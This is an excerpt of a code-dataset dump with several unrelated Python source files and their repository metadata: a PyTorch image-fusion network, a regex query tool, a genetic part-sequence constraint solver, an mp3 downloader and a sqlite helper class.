shape[3])\n global_p_w2 = global_p_w2.repeat(1, 1, shape[2], shape[3])\n\n tensor_f = global_p_w1 * en_ir + global_p_w2 * en_vi\n return tensor_f\n\n# sum of S V for each chanel\ndef nuclear_pooling(tensor):\n shape = tensor.size()\n vectors = torch.zeros(1, shape[1], 1, 1).cuda()\n for i in range(shape[1]):\n u, s, v = torch.svd(tensor[0, i, :, :] + EPSILON)\n s_sum = torch.sum(s)\n vectors[0, i, 0, 0] = s_sum\n return vectors\n\n# Fusion strategy, two type\nclass Fusion_strategy(nn.Module):\n def __init__(self, fs_type):\n super(Fusion_strategy, self).__init__()\n self.fs_type = fs_type\n self.fusion_add = Fusion_ADD()\n self.fusion_avg = Fusion_AVG()\n self.fusion_max = Fusion_MAX()\n self.fusion_spa = Fusion_SPA()\n self.fusion_nuc = Fusion_Nuclear()\n\n def forward(self, en_ir, en_vi):\n if self.fs_type is 'add':\n fusion_operation = self.fusion_add\n elif self.fs_type is 'avg':\n fusion_operation = self.fusion_avg\n elif self.fs_type is 'max':\n fusion_operation = self.fusion_max\n elif self.fs_type is 'spa':\n fusion_operation = self.fusion_spa\n elif self.fs_type is 'nuclear':\n fusion_operation = self.fusion_nuc\n\n f1_0 = fusion_operation(en_ir[0], en_vi[0])\n f2_0 = fusion_operation(en_ir[1], en_vi[1])\n f3_0 = fusion_operation(en_ir[2], en_vi[2])\n f4_0 = fusion_operation(en_ir[3], en_vi[3])\n return [f1_0, f2_0, f3_0, f4_0]\n\n\n# NestFuse network - light, no desnse\nclass NestFuse_light2_nodense(nn.Module):\n def __init__(self, nb_filter, input_nc=1, output_nc=1, deepsupervision=True):\n super(NestFuse_light2_nodense, self).__init__()\n self.deepsupervision = deepsupervision\n block = DenseBlock_light\n output_filter = 16\n kernel_size = 3\n stride = 1\n\n self.pool = nn.MaxPool2d(2, 2)\n self.up = nn.Upsample(scale_factor=2)\n self.up_eval = UpsampleReshape_eval()\n\n # encoder\n self.conv0 = ConvLayer(input_nc, output_filter, 1, stride)\n self.DB1_0 = block(output_filter, nb_filter[0], kernel_size, 1)\n self.DB2_0 = block(nb_filter[0], nb_filter[1], kernel_size, 1)\n self.DB3_0 = block(nb_filter[1], nb_filter[2], kernel_size, 1)\n self.DB4_0 = block(nb_filter[2], nb_filter[3], kernel_size, 1)\n\n # decoder\n self.DB1_1 = block(nb_filter[0] + nb_filter[1], nb_filter[0], kernel_size, 1)\n self.DB2_1 = block(nb_filter[1] + nb_filter[2], nb_filter[1], kernel_size, 1)\n self.DB3_1 = block(nb_filter[2] + nb_filter[3], nb_filter[2], kernel_size, 1)\n\n # short connection\n self.DB1_2 = block(nb_filter[0] * 2 + nb_filter[1], nb_filter[0], kernel_size, 1)\n self.DB2_2 = block(nb_filter[1] * 2+ nb_filter[2], nb_filter[1], kernel_size, 1)\n self.DB1_3 = block(nb_filter[0] * 3 + nb_filter[1], nb_filter[0], kernel_size, 1)\n\n if self.deepsupervision:\n self.conv1 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n self.conv2 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n self.conv3 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n # self.conv4 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n else:\n self.conv_out = ConvLayer(nb_filter[0], output_nc, 1, stride)\n\n def encoder(self, input):\n x = self.conv0(input)\n x1_0 = self.DB1_0(x)\n x2_0 = self.DB2_0(self.pool(x1_0))\n x3_0 = self.DB3_0(self.pool(x2_0))\n x4_0 = self.DB4_0(self.pool(x3_0))\n # x5_0 = self.DB5_0(self.pool(x4_0))\n return [x1_0, x2_0, x3_0, x4_0]\n\n def decoder_train(self, f_en):\n x1_1 = self.DB1_1(torch.cat([f_en[0], self.up(f_en[1])], 1))\n\n x2_1 = self.DB2_1(torch.cat([f_en[1], self.up(f_en[2])], 1))\n x1_2 = self.DB1_2(torch.cat([f_en[0], x1_1, self.up(x2_1)], 1))\n\n x3_1 = self.DB3_1(torch.cat([f_en[2], self.up(f_en[3])], 1))\n x2_2 = self.DB2_2(torch.cat([f_en[1], x2_1, self.up(x3_1)], 1))\n x1_3 = self.DB1_3(torch.cat([f_en[0], x1_1, x1_2, self.up(x2_2)], 1))\n\n if self.deepsupervision:\n output1 = self.conv1(x1_1)\n output2 = self.conv2(x1_2)\n output3 = self.conv3(x1_3)\n # output4 = self.conv4(x1_4)\n return [output1, output2, output3]\n else:\n output = self.conv_out(x1_3)\n return [output]\n\n def decoder_eval(self, f_en):\n x1_1 = self.DB1_1(torch.cat([f_en[0], self.up_eval(f_en[0], f_en[1])], 1))\n\n x2_1 = self.DB2_1(torch.cat([f_en[1], self.up_eval(f_en[1], f_en[2])], 1))\n x1_2 = self.DB1_2(torch.cat([f_en[0], x1_1, self.up_eval(f_en[0], x2_1)], 1))\n\n x3_1 = self.DB3_1(torch.cat([f_en[2], self.up_eval(f_en[2], f_en[3])], 1))\n x2_2 = self.DB2_2(torch.cat([f_en[1], x2_1, self.up_eval(f_en[1], x3_1)], 1))\n\n x1_3 = self.DB1_3(torch.cat([f_en[0], x1_1, x1_2, self.up_eval(f_en[0], x2_2)], 1))\n\n if self.deepsupervision:\n output1 = self.conv1(x1_1)\n output2 = self.conv2(x1_2)\n output3 = self.conv3(x1_3)\n # output4 = self.conv4(x1_4)\n return [output1, output2, output3]\n else:\n output = self.conv_out(x1_3)\n return [output]\n\nclass RFN_decoder(nn.Module):\n def __init__(self, nb_filter, input_nc=1, output_nc=1, deepsupervision=True):\n super(RFN_decoder, self).__init__()\n self.deepsupervision = deepsupervision\n block = DenseBlock_light\n output_filter = 16\n kernel_size = 3\n stride = 1\n\n self.pool = nn.MaxPool2d(2, 2)\n self.up = nn.Upsample(scale_factor=2)\n self.up_eval = UpsampleReshape_eval()\n\n # decoder\n self.DB1_1 = block(nb_filter[0] + nb_filter[1], nb_filter[0], kernel_size, 1)\n self.DB2_1 = block(nb_filter[1] + nb_filter[2], nb_filter[1], kernel_size, 1)\n self.DB3_1 = block(nb_filter[2] + nb_filter[3], nb_filter[2], kernel_size, 1)\n\n # short connection\n self.DB1_2 = block(nb_filter[0] * 2 + nb_filter[1], nb_filter[0], kernel_size, 1)\n self.DB2_2 = block(nb_filter[1] * 2+ nb_filter[2], nb_filter[1], kernel_size, 1)\n self.DB1_3 = block(nb_filter[0] * 3 + nb_filter[1], nb_filter[0], kernel_size, 1)\n\n if self.deepsupervision:\n self.conv1 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n self.conv2 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n self.conv3 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n # self.conv4 = ConvLayer(nb_filter[0], output_nc, 1, stride)\n else:\n self.conv_out = ConvLayer(nb_filter[0], output_nc, 1, stride)\n\n def decoder_train(self, f_en):\n x1_1 = self.DB1_1(torch.cat([f_en[0], self.up(f_en[1])], 1))\n\n x2_1 = self.DB2_1(torch.cat([f_en[1], self.up(f_en[2])], 1))\n x1_2 = self.DB1_2(torch.cat([f_en[0], x1_1, self.up(x2_1)], 1))\n\n x3_1 = self.DB3_1(torch.cat([f_en[2], self.up(f_en[3])], 1))\n x2_2 = self.DB2_2(torch.cat([f_en[1], x2_1, self.up(x3_1)], 1))\n x1_3 = self.DB1_3(torch.cat([f_en[0], x1_1, x1_2, self.up(x2_2)], 1))\n\n if self.deepsupervision:\n output1 = self.conv1(x1_1)\n output2 = self.conv2(x1_2)\n output3 = self.conv3(x1_3)\n # output4 = self.conv4(x1_4)\n return [output1, output2, output3]\n else:\n output = self.conv_out(x1_3)\n return [output]\n\n def decoder_eval(self, f_en):\n x1_1 = self.DB1_1(torch.cat([f_en[0], self.up_eval(f_en[0], f_en[1])], 1))\n\n x2_1 = self.DB2_1(torch.cat([f_en[1], self.up_eval(f_en[1], f_en[2])], 1))\n x1_2 = self.DB1_2(torch.cat([f_en[0], x1_1, self.up_eval(f_en[0], x2_1)], 1))\n\n x3_1 = self.DB3_1(torch.cat([f_en[2], self.up_eval(f_en[2], f_en[3])], 1))\n x2_2 = self.DB2_2(torch.cat([f_en[1], x2_1, self.up_eval(f_en[1], x3_1)], 1))\n\n x1_3 = self.DB1_3(torch.cat([f_en[0], x1_1, x1_2, self.up_eval(f_en[0], x2_2)], 1))\n\n if self.deepsupervision:\n output1 = self.conv1(x1_1)\n output2 = self.conv2(x1_2)\n output3 = self.conv3(x1_3)\n # output4 = self.conv4(x1_4)\n return [output1, output2, output3]\n else:\n output = self.conv_out(x1_3)\n return [output]\n\nclass AxialAttention(nn.Module):\n def __init__(self, in_planes, out_planes, groups=8, kernel_size=56,\n stride=1, bias=False, width=False):\n assert (in_planes % groups == 0) and (out_planes % groups == 0)\n super(AxialAttention, self).__init__()\n self.in_planes = in_planes\n self.out_planes = out_planes\n self.groups = groups\n self.group_planes = out_planes // groups\n self.kernel_size = kernel_size\n self.stride = stride\n self.bias = bias\n self.width = width\n\n # Multi-head self attention\n self.qkv_transform = qkv_transform(in_planes, out_planes * 2, kernel_size=1, stride=1,\n padding=0, bias=False)\n self.bn_qkv = nn.BatchNorm1d(out_planes * 2)\n self.bn_similarity = nn.BatchNorm2d(groups * 3)\n\n self.bn_output = nn.BatchNorm1d(out_planes * 2)\n\n # Position embedding\n self.relative = nn.Parameter(torch.randn(self.group_planes * 2, kernel_size * 2 - 1), requires_grad=True)\n query_index = torch.arange(kernel_size).unsqueeze(0)\n key_index = torch.arange(kernel_size).unsqueeze(1)\n relative_index = key_index - query_index + kernel_size - 1\n self.register_buffer('flatten_index', relative_index.view(-1))\n if stride > 1:\n self.pooling = nn.AvgPool2d(stride, stride=stride)\n\n self.reset_parameters()\n\n def forward(self, x):\n \n if self.width:\n x = x.permute(0, 2, 1, 3)\n else:\n x = x.permute(0, 3, 1, 2) # N, W, C, H\n N, W, C, H = x.shape\n x = x.contiguous().view(N * W, C, H)\n\n # Transformations\n qkv = self.bn_qkv(self.qkv_transform(x))\n q, k, v = torch.split(qkv.reshape(N * W, self.groups, self.group_planes * 2, H), [self.group_planes // 2, self.group_planes // 2, self.group_planes], dim=2)\n\n # Calculate position embedding\n all_embeddings = torch.index_select(self.relative, 1, self.flatten_index).view(self.group_planes * 2, self.kernel_size, self.kernel_size)\n q_embedding, k_embedding, v_embedding = torch.split(all_embeddings, [self.group_planes // 2, self.group_planes // 2, self.group_planes], dim=0)\n #pdb.set_trace()\n \n qr = torch.einsum('bgci,cij->bgij', q, q_embedding)\n kr = torch.einsum('bgci,cij->bgij', k, k_embedding).transpose(2, 3)\n \n qk = torch.einsum('bgci, bgcj->bgij', q, k)\n \n stacked_similarity = torch.cat([qk, qr, kr], dim=1)\n stacked_similarity = self.bn_similarity(stacked_similarity).view(N * W, 3, self.groups, H, H).sum(dim=1)\n #stacked_similarity = self.bn_qr(qr) + self.bn_kr(kr) + self.bn_qk(qk)\n # (N, groups, H, H, W)\n similarity = F.softmax(stacked_similarity, dim=3)\n sv = torch.einsum('bgij,bgcj->bgci', similarity, v)\n sve = torch.einsum('bgij,cij->bgci', similarity, v_embedding)\n stacked_output = torch.cat([sv, sve], dim=-1).view(N * W, self.out_planes * 2, H)\n output = self.bn_output(stacked_output).view(N, W, self.out_planes, 2, H).sum(dim=-2)\n\n if self.width:\n output = output.permute(0, 2, 1, 3)\n else:\n output = output.permute(0, 2, 3, 1)\n\n if self.stride > 1:\n output = self.pooling(output)\n\n return output\n\n def reset_parameters(self):\n self.qkv_transform.weight.data.normal_(0, math.sqrt(1. / self.in_planes))\n #nn.init.uniform_(self.relative, -0.1, 0.1)\n nn.init.normal_(self.relative, 0., math.sqrt(1. / self.group_planes))\n\nclass AxialBlock(nn.Module):\n expansion = 2\n\n def __init__(self, inplanes, planes, stride=1, downsample=None, groups=1,\n base_width=64, dilation=1, norm_layer=None, kernel_size=56):\n super(AxialBlock, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n width = int(planes * (base_width / 64.))\n # Both self.conv2 and self.downsample layers downsample the input when stride != 1\n self.conv_down = conv1x1(inplanes, width)\n self.bn1 = norm_layer(width)\n self.hight_block = AxialAttention(width, width, groups=groups, kernel_size=kernel_size)\n self.width_block = AxialAttention(width, width, groups=groups, kernel_size=kernel_size, stride=stride, width=True)\n self.conv_up = conv1x1(width, planes * self.expansion)\n self.bn2 = norm_layer(planes * self.expansion)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n identity = x\n\n out = self.conv_down(x)\n out = self.bn1(out)\n out = self.relu(out)\n # print(out.shape)\n out = self.hight_block(out)\n out = self.width_block(out)\n out = self.relu(out)\n\n out = self.conv_up(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n","repo_name":"Vibashan/Image-Fusion-Transformer","sub_path":"net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":22819,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"21"} +{"seq_id":"19941078576","text":"#!/usr/bin/env python3\nfrom __future__ import annotations\n\nfrom lib.search_tool import search_tools\nfrom lib.utils import dunders\n\n\nclass query_tool(search_tools, dunders):\n \"\"\"Query tool class containing methods to run queries for regex patterns in files.\n\n Args:\n * `fl` (str): Input file.\n * `pattern` (str): Input pattern.\n \"\"\"\n\n def __init__(self, fl: str, pattern: str) -> None:\n super().__init__(fl, pattern)\n\n @staticmethod\n def _dict_parser(dictionary: dict) -> tuple[str, str]:\n \"\"\"Dictionary parser.\n\n Args:\n * `dictionary` (dict): Dictionary object.\n\n Returns:\n `tuple[str, str]`: keys and values of a dictionary as separate strings.\n \"\"\"\n\n keys = []\n values = []\n for key, value in dictionary.items():\n keys.append(key)\n values.append(value)\n\n keys = tuple(keys)\n keys = \", \".join(keys)\n values = tuple(values)\n values = \", \".join(values)\n return keys, values\n\n def query_wrapper(self, show_idx) -> dict:\n \"\"\"Run an SQL or txt file query. This method is a wrapper to the methods holding the queries.\n\n Args:\n * `show_idx` (bool): Shows regex information in stdout.\n\n Returns:\n `dict`: Keys are equal to file locations and values are matched information.\n \"\"\"\n\n matches = self._get_matches()\n keys, values = self._dict_parser(dictionary = matches)\n\n if show_idx:\n print(f\"There are {len(matches)} matches to the pattern: {self.pattern}\")\n if self.fl.endswith(self.txt_ext):\n if len(keys) > 1:\n print(f\"Pattern can be found on lines: {keys}.\")\n else:\n print(f\"Pattern can be found on line {keys}.\")\n elif self.fl.endswith('.csv'):\n if len(keys) > 1:\n print(f\"Pattern can be found on columns: {keys}.\")\n else:\n print(f\"Pattern can be found on column {keys}.\")\n\n out_dict = {}\n for key, value in zip(list(keys.split(\",\")), list(values.split(\",\"))):\n out_dict[key] = value\n return out_dict\n","repo_name":"CSynodinos/query-tool","sub_path":"lib/query_parser.py","file_name":"query_parser.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24329186808","text":"from constraint import *\nimport json\nimport os\n\nclass genepy:\n def __init__(self, length: int, check_conflicts=False):\n if length < 1:\n raise Exception('invalid length')\n else:\n self.length = length\n\n self.check_conflicts = check_conflicts\n self.rules = {\n 'morethan': {},\n 'contains': {},\n 'exactly': {},\n 'then': {},\n 'witH': {},\n 'startswith': {},\n 'endswith': {},\n 'all_after': {},\n 'some_after': {},\n 'all_before': {},\n 'some_before': {},\n 'all_nextto': {},\n 'some_nextto': {},\n 'all_forward_if': {},\n 'all_reverse_if': {},\n 'some_forward': {},\n 'some_reverse': {},\n 'all_forward': {},\n 'all_reverse': {},\n 'represses': {},\n 'induces': {},\n 'drives': {}\n }\n self.problem = Problem()\n self.solutions = None\n\n self.containsParts = None\n self.morethanParts = None\n self.morethanValues = None\n self.exactlyParts = None\n self.exactlyValues = None\n self.thenPartsA = None\n self.thenPartsB = None\n\n def change_length(self, arg: int):\n \"\"\"Change sequence length after initilization. Must be called BEFORE generating solutions.\"\"\"\n if arg < 1:\n raise Exception('invalid length')\n else:\n self.length = arg\n\n # User methods to implement Eugene rules\n # Counting Rules\n def morethan(self, a: str, n: int):\n \"\"\"a MORETHAN n --> morethan(a, n)\"\"\"\n if n > self.length or n < 1:\n raise Exception('invalid n')\n else:\n self.rules['morethan'][a] = n\n\n def contains(self, a: str):\n \"\"\"CONTAINS a --> contains(a)\"\"\"\n self.rules['contains'][a] = True\n\n def exactly(self, a: str, n: int):\n \"\"\"a EXACTLY n --> exactly(a, n) \"\"\"\n if n > self.length:\n raise Exception('invalid n: n must be less than or equal to N')\n else:\n self.rules['exactly'][a] = n\n\n def then(self, a: str, B: str):\n \"\"\"a THEN B --> then(a, B)\"\"\"\n self.rules['then'][a] = B\n\n def witH(self, a: str, B: str):\n \"\"\"a WITH B ---> witH(a, B)\"\"\"\n self.rules['witH'][a] = B\n\n # Positioning Rules\n def startswith(self, a: str):\n \"\"\"STARTSWITH a --> startswith(a) \"\"\"\n self.rules['startswith'][a] = True\n\n def endswith(self, a: str):\n \"\"\"ENDSWITH a --> endswith(a)\"\"\"\n self.rules['endswith'][a] = True\n\n def all_after(self, a: str, B: list):\n \"\"\"a ALL_AFTER B / a AFTER B --> all_after(a, B)\"\"\"\n self.rules['all_after'][a] = B\n\n def some_after(self, a: str, B: list):\n \"\"\"a SOME_AFTER B --> some_after(a, B)\"\"\"\n self.rules['some_after'][a] = B\n\n def all_before(self, a: str, B: list):\n \"\"\"a ALL_BEFORE B --> all_before(a, B)\"\"\"\n self.rules['all_before'][a] = B\n\n def some_before(self, a: str, B: list):\n \"\"\"a SOME_BEFORE B --> some_before(a, B)\"\"\"\n self.rules['some_before'][a] = B\n\n def all_nextto(self, a: str, B: list):\n \"\"\"a ALL_NEXTTO B --> all_nextto(a, B)\"\"\"\n self.rules['all_nextto'][a] = B\n\n def some_nextto(self, a: str, B: list):\n \"\"\"a SOME_NEXTTO B --> some_nextto(a, B)\"\"\"\n self.rules['some_nextto'][a] = B\n\n # Orientation Rules\n def all_forward_if(self, a: str):\n \"\"\"ALL_FORWARD a --> all_forward(a)\"\"\"\n self.rules['all_forward_if'][a] = True\n\n def all_reverse_if(self, a: str):\n \"\"\"ALL_REVERSE a --> all_reverse_if(a)\"\"\"\n self.rules['all_reverse_if'][a] = True\n\n def some_forward(self, a: str):\n \"\"\"SOME_FORWARD a --> some_forward(a)\"\"\"\n self.rules['some_forward'][a] = True\n\n def some_reverse(self, a: str):\n \"\"\"SOME_REVERSE a --> some_reverse(a)\"\"\"\n self.rules['some_reverse'][a] = True\n\n def all_forward(self):\n \"\"\"ALL_FORWARD --> all_forward()\"\"\"\n self.rules['all_forward'] = True\n\n def all_reverse(self):\n \"\"\"ALL_REVERSE --> all_reverse()\"\"\"\n self.rules['all_reverse'] = True\n\n # Interaction Rules\n def represses(self, a: str, B: str):\n \"\"\"g REPRESSES p --> represses(g, p)\"\"\"\n self.rules['represses'][a] = B\n\n def induces(self, a: str, B: str):\n \"\"\"a INDUCES B --> induces(a, B)\"\"\"\n self.rules['induces'][a] = B\n\n def drives(self, a: str, B: str):\n \"\"\"a DRIVES B --> drives(a, B)\"\"\"\n self.rules['drives'][a] = B\n\n\n # Constraint methods for python-constraint solver\n # Not inteded for user\n def containsConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'contains()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n parts = self.containsParts\n count = 0\n for x in range(len(parts)):\n if parts[x] in variables:\n count += 1\n if count == len(parts):\n return True\n else:\n return False\n\n def morethanConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'morethan()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n parts = self.morethanParts\n n = self.morethanValues\n count = 0\n for x in range(len(parts)):\n if variables.count(parts[x]) > n[x]:\n count += 1\n if count == len(parts):\n return True\n else:\n return False\n\n def exactlyConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'exactly()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n parts = self.exactlyParts\n n = self.exactlyValues\n count = 0\n for x in range(len(parts)):\n if variables.count(parts[x]) == n[x]:\n count += 1\n if count == len(parts):\n return True\n else:\n return False\n\n def thenConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'then()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n partsA = self.thenPartsA\n partsB = self.thenPartsB\n count = 0\n for x in range(len(partsA)):\n if partsA[x] in variables:\n if partsB[x] in variables:\n count += 1\n if count == len(partsA):\n return True\n else:\n return False\n\n def withConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'witH()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n partsA = self.witHPartsA\n partsB = self.witHPartsB\n count = 0\n for x in range(len(partsA)):\n if (partsA[x] in variables) and (partsB[x] in variables):\n if partsB in variables:\n count += 1\n if count == len(partsA):\n return True\n else:\n return False\n\n def startswithConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'startswith()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n ruleList = list(self.rules[\"startswith\"].keys())\n if len(ruleList) > 1:\n print(\"startswith used on multiple parts\")\n return False\n if ruleList[0] in variables:\n if variables[0] == ruleList[0]:\n return True\n else:\n return False\n\n def endswithConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'endswith()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n ruleList = list(self.rules[\"endswith\"].keys())\n if len(ruleList) > 1:\n print(\"endswith used on multiple parts\")\n return False\n if ruleList[0] in variables:\n if variables[len(variables)-1] == ruleList[0]:\n return True\n else:\n return False\n\n def all_afterConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'all_after()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n partsA = list(self.rules[\"all_after\"].keys())\n partsB = list(self.rules[\"all_after\"].values())\n firstA = None\n lastB = None\n for x in range(len(variables)):\n done = False\n for i in range(len(partsA)):\n if partsA[i] == variables[x]:\n firstA = x\n done = True\n break\n if done:\n break\n\n for x in range(len(variables)):\n for i in range(len(partsB)):\n if partsB[i] == variables[x]:\n lastB = x\n if lastB < firstA:\n return True\n else:\n return False\n\n def some_afterConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'some_after()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n partsA = list(self.rules[\"some_after\"].keys())\n partsB = list(self.rules[\"some_after\"].values())\n foundA = []\n foundB = []\n for x in range(len(variables)):\n if variables[x] in partsA:\n foundA.append(x)\n if variables[x] in partsB:\n foundB.append(x)\n for a in foundA:\n for b in foundB:\n if b < a:\n return True\n return False\n\n def all_beforeConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'all_before()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n partsA = list(self.rules[\"all_before\"].keys())\n partsB = list(self.rules[\"all_before\"].values())\n firstB = None\n lastA = None\n for x in range(len(variables)):\n done = False\n for i in range(len(partsB)):\n if partsB[i] == variables[x]:\n firstB = x\n done = True\n break\n if done:\n break\n\n for x in range(len(variables)):\n for i in range(len(partsA)):\n if partsA[i] == variables[x]:\n lastA = x\n if lastA < firstB:\n return True\n else:\n return False\n\n def some_beforeConstraint(self, *argv):\n \"\"\"Returns True if potential sequence satifies all 'some_before()' constraints desribed by user.\"\"\"\n variables = []\n for arg in argv:\n variables.append(arg)\n partsA = list(self.rules[\"some_before\"].keys())\n partsB = list(self.rules[\"some_before\"].values())\n foundA = []\n foundB = []\n for x in range(len(variables)):\n if variables[x] in partsA:\n foundA.append(x)\n if variables[x] in partsB:\n foundB.append(x)\n for a in foundA:\n for b in foundB:\n if a < b:\n return True\n return False\n\n def generate(self, number=0):\n \"\"\"Return all sequences that satifies user described constraints. If not given a number for sequences method returns all solutions.\"\"\"\n # Create domain for each position in sequence using Counting rules\n self.containsParts = list(self.rules[\"contains\"].keys())\n self.morethanParts = list(self.rules[\"morethan\"].keys())\n self.morethanValues = list(self.rules[\"morethan\"].values())\n self.exactlyParts = list(self.rules[\"exactly\"].keys())\n self.exactlyValues = list(self.rules[\"exactly\"].values())\n self.thenPartsA = list(self.rules[\"then\"].keys())\n self.thenPartsB = list(self.rules[\"then\"].values())\n self.witHPartsA = list(self.rules[\"witH\"].keys())\n self.witHPartsB = list(self.rules[\"witH\"].values())\n domain = self.morethanParts + self.containsParts + self.exactlyParts + self.thenPartsA + self.thenPartsB + self.witHPartsA + self.witHPartsB\n self.problem.addVariables(range(self.length), domain)\n\n # If certain rule was implemented by user, then apply to solver\n if self.rules[\"contains\"]:\n self.problem.addConstraint(self.containsConstraint, list(range(self.length)))\n if self.rules[\"morethan\"]:\n self.problem.addConstraint(self.morethanConstraint, list(range(self.length)))\n if self.rules[\"exactly\"]:\n self.problem.addConstraint(self.exactlyConstraint, list(range(self.length)))\n if self.rules[\"then\"]:\n self.problem.addConstraint(self.thenConstraint, list(range(self.length)))\n if self.rules[\"witH\"]:\n self.problem.addConstraint(self.withConstraint, list(range(self.length)))\n if self.rules[\"startswith\"]:\n self.problem.addConstraint(self.startswithConstraint, list(range(self.length)))\n if self.rules[\"endswith\"]:\n self.problem.addConstraint(self.endswithConstraint, list(range(self.length)))\n if self.rules[\"all_after\"]:\n self.problem.addConstraint(self.all_afterConstraint, list(range(self.length)))\n if self.rules[\"some_after\"]:\n self.problem.addConstraint(self.some_afterConstraint, list(range(self.length)))\n if self.rules[\"all_before\"]:\n self.problem.addConstraint(self.all_beforeConstraint, list(range(self.length)))\n if self.rules[\"some_before\"]:\n self.problem.addConstraint(self.some_beforeConstraint, list(range(self.length)))\n\n # Return solutions\n if number == 0:\n self.solutions = self.problem.getSolutions()\n return self.solutions\n # Generate one solution\n if number == 1:\n # Use MinConflictsSolver to quickly generate single solution\n solver = MinConflictsSolver()\n self.problem.setSolver(solver)\n while self.solutions == None:\n self.solutions = self.problem.getSolution()\n return self.solutions\n # Generate user defined number of solutions using default backtracking solver\n else:\n self.solutions = self.problem.getSolutions()\n return self.solutions[0:number]\n\n # Write generated solutions to JSON file, stored in Solutions directory\n def solutionsToFile(self, filename, number=0):\n \"\"\"Write generated solutions to json file. If not given a number all solutions are written to the file\"\"\"\n fileCheck = os.path.splitext(filename)\n if fileCheck[1] != \".json\":\n raise Exception(\"Filename must be of type json\")\n path = \"./Solutions/\" + filename\n\n f = open(path, \"w\")\n if number == 0:\n json.dump(self.solutions, f)\n f.close()\n else:\n json.dump(self.solutions[0:number], f)\n f.close()\n\n # Write declared rules to JSON file, stored in Rules directory\n def rulesToFile(self, filename):\n \"\"\"Write rules to json file.\"\"\"\n fileCheck = os.path.splitext(filename)\n if fileCheck[1] != \".json\":\n raise Exception(\"Filename must be of type json\")\n path = \"./Rules/\" + filename\n\n f = open(path, \"w\")\n json.dump(self.rules, f)\n f.close()\n","repo_name":"hkim42/GenePy","sub_path":"Code/genepy/genepy.py","file_name":"genepy.py","file_ext":"py","file_size_in_byte":15931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70800228589","text":"import os\n\nimport requests\nfrom tqdm import tqdm\n\n\ndef download_mp3_files(urls, download_dir):\n \"\"\"\n Downloads mp3 files from a url list\n \"\"\"\n with requests.Session() as request:\n for url in urls:\n name = url.split('.mp3')[0].split('/')[-1]\n response = request.get(url, stream=True)\n\n total_size_in_bytes = int(response.headers.get('content-length', 0))\n block_size = 1024\n progress_bar = tqdm(total=total_size_in_bytes, unit='iB', unit_scale=True, colour='blue')\n\n if response.status_code == 200:\n path = os.path.join(download_dir, name + '.mp3')\n with open(path, 'wb') as file:\n for data in response.iter_content(block_size):\n progress_bar.update(len(data))\n file.write(data)\n\n progress_bar.close()\n\n if total_size_in_bytes != 0 and progress_bar.n != total_size_in_bytes:\n print('Something went wrong!')\n","repo_name":"sitek94/download-mp3s-with-python","sub_path":"download_mp3_files.py","file_name":"download_mp3_files.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30669912082","text":"from dataclasses import make_dataclass,dataclass\nimport sqlite3 as sql\n\nclass InfoClass:\n \"\"\"Класс с информацией из базы данных экземпляра класса Bot (self.info) \n \"\"\"\n def __get_tables_with_column(self):\n \n \n # INSERT INTO UserGroups (UserID) VALUES (435170678);\n \n data = {}\n \n # Названия всех таблиц\n self.cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table';\")\n tables = tuple([i[0] for i in self.cursor.fetchall()])\n \n # Перебираем таблицы и проверяем, есть ли в них желаемая колонка\n for table_name in tables:\n self.cursor.execute(f\"PRAGMA table_info({table_name});\")\n columns_name = tuple([column[1] for column in self.cursor.fetchall()])\n \n \n \n if 'UserID' in columns_name:\n self.cursor.execute(f'''SELECT * FROM {table_name} WHERE UserID = {self.ID} ''')\n columns_data = self.cursor.fetchall()\n if len(columns_data) != 0:\n columns_data = columns_data[0]\n elif len(columns_data) == 0 : \n columns_data = [None for _ in range(len(columns_name))]\n \n for cn,cd in zip(columns_name,columns_data):\n data[cn] = cd\n \n return data\n \n def __init__(self, database : str, ID : int) -> None:\n self.ID = ID\n # self.database = database.connection\n self.database = sql.connect(database)\n self.cursor = self.database.cursor()\n self.TABLES = self.__get_tables_with_column()\n \n def GetData(self) -> dataclass:\n db_dataclass = make_dataclass(\"Database\", self.__get_tables_with_column().keys())\n return 